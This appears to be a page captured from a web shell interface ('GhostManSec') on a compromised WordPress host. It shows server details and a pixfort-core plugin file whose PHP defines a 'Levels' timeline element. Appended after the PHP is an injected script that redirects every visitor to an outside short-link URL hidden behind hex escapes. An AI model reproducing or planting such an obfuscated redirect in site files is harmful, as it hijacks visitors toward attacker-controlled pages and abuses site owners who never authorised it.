GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/anqa.it/wp-content/plugins/pixfort-core/functions/elements/shortcode-levels.php
<?php

// Text -----------------------------
vc_map( array (
    'base' 			=> 'pix_levels',
    'name' 			=> __('Levels', 'pixfort-core'),
    'category' 		=> __('pixfort', 'pixfort-core'),
    "weight"	=> "1000",
    'class'         => 'pixfort_element',
    'icon' 			=> PIX_CORE_PLUGIN_URI . 'functions/images/elements/levels.png',
    'description' 	=> __('Create beautiful events timeline', 'pixfort-core'),
    'params' 		=> array_merge( array(

        array (
            'param_name' 	=> 'items_count',
            'type' 			=> 'dropdown',
            'heading' 		=> __('Items per Line', 'pixfort-core'),
            'description' 	=> __('The number of items to show at the same line', 'pixfort-core'),
            'admin_label'	=> false,
            'std'           => 4,
            'value' 		=> array(
                "1" 	=> 1,
                "2" 	=> 2,
                "3" 	=> 3,
                "4" 	=> 4,
                "6" 	=> 6,
            ),
        ),

        array(
              'type' => 'param_group',
              'value' => '',
              'param_name' => 'items',
              'heading' 		=> __('Icons', 'pixfort-core'),
              'description' 	=> __('Add each icon in the desired order.', 'pixfort-core'),
              'params' => array(

                  array (
                      'param_name' 	=> 'title',
                      'type' 			=> 'textfield',
                      'heading' 		=> __('Title', 'pixfort-core'),
                      'admin_label'	=> true,
                      'value'       => 'Level X',
                  ),

                  array (
                      'param_name' 	=> 'text',
                      'type' 			=> 'textarea',
                      'heading' 		=> __('Text', 'pixfort-core'),
                      'admin_label'	=> true,
                      'value' 		=> "",
                  ),

                  array (
                      'param_name' 	=> 'link',
                      'type' 			=> 'textfield',
                      'heading' 		=> __('Link', 'pixfort-core'),
                      'admin_label'	=> true,
                  ),

                  array (
                      'param_name' 	=> 'target',
                      'type' 			=> 'dropdown',
                      'heading' 		=> __('Target', 'pixfort-core'),
                      'admin_label'	=> false,
                      'value' 		=> array( '', '_blank' ),
                      "dependency" => array(
                            "element" => "link",
                            "not_empty" => true
                        ),
                  ),



              )
        ),

        array (
            'param_name' 	=> 'active',
            'type' 			=> 'textfield',
            'heading' 		=> __('Active levels until', 'pixfort-core'),
            'description' 	=> __('Make the levels active until a specific level (for example 2), keep this field empty to activate all levels.', 'pixfort-core'),
            'admin_label'	=> true,
        )

    ),
    pix_get_text_format_params(array(
        'prefix' 		=> '',
        'name' 		=> 'Title',
        'bold' 		=> true,
        'bold_value' 		=> 'font-weight-bold',
        'italic' 		=> true,
        'italic_value' 		=> '',
        'secondary_font' 		=> true,
        'secondary_font_value' 		=> 'secondary-font',
        'color' 		=> true,
        'color_value' 		=> 'heading-default',
        'text_group'            => "Advanced"
    )),
    array(
        array (
            'param_name' 	=> 'title_size',
            'type' 			=> 'dropdown',
            'heading' 		=> __('Title size', 'pixfort-core'),
            'group' => __( 'Advanced', 'essentials-core' ),
            'admin_label'	=> false,
            'std'	=> 'h5',
            'value' 		=> array(
                __('H1','pixfort-core') 	=> 'h1',
                __('H2','pixfort-core')	    => 'h2',
                __('H3','pixfort-core')	    => 'h3',
                __('H4','pixfort-core')	    => 'h4',
                __('H5','pixfort-core')	    => 'h5',
                __('H6','pixfort-core')	    => 'h6',
                __('Custom','pixfort-core')	    => 'custom',
            ),
        ),
        array (
            'param_name' 	=> 'title_custom_size',
            'type' 			=> 'textfield',
            'group' => __( 'Advanced', 'essentials-core' ),
            'heading' 		=> __('Title custom Size', 'pixfort-core'),
            'admin_label'	=> false,
            "dependency" => array(
                  "element" => "title_size",
                  "value" => "custom"
              ),
        ),
    ),
    pix_get_text_format_params(array(
        'prefix' 		=> 'text_',
        'name' 		=> 'Text',
        'bold' 		=> true,
        'bold_value' 		=> '',
        'italic' 		=> true,
        'italic_value' 		=> '',
        'secondary_font' 		=> true,
        'secondary_font_value' 		=> '',
        'text_group'            => "Advanced",
        'color' 		=> true,
        'color_value' 		=> 'body-default',
    )),
     array(

         array (
             'param_name' 	=> 'active_color',
             'type' 			=> 'dropdown',
             'heading' 		=> __('Active color', 'pixfort-core'),
             'admin_label'	=> false,
             'value' 		=> $colors,
             'group' => __( 'Advanced', 'essentials-core' ),
             'std'			=> 'primary',
         ),
         array (
             'param_name' 	=> 'active_custom_color',
             'type' 			=> 'colorpicker',
             'group' => __( 'Advanced', 'essentials-core' ),
             'heading' 		=> __('Active custom color', 'pixfort-core'),
             'admin_label'	=> false,
             "dependency" => array(
                   "element" => "active_color",
                   "value" => "custom"
               ),
         ),
         array (
             'param_name' 	=> 'not_active_color',
             'type' 			=> 'dropdown',
             'heading' 		=> __('Inactive color', 'pixfort-core'),
             'admin_label'	=> false,
             'value' 		=> $colors,
             'group' => __( 'Advanced', 'essentials-core' ),
             'std'			=> 'gray-2',
         ),
         array (
             'param_name' 	=> 'not_active_custom_color',
             'type' 			=> 'colorpicker',
             'group' => __( 'Advanced', 'essentials-core' ),
             'heading' 		=> __('Inactive custom color', 'pixfort-core'),
             'admin_label'	=> false,
             "dependency" => array(
                   "element" => "not_active_color",
                   "value" => "custom"
               ),
         ),

        array(
          'type' => 'css_editor',
          'heading' => __( 'Css', 'essentials-core' ),
          'param_name' => 'css',
          'group' => __( 'Design options', 'essentials-core' ),
          )



    ))
));

 ?>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>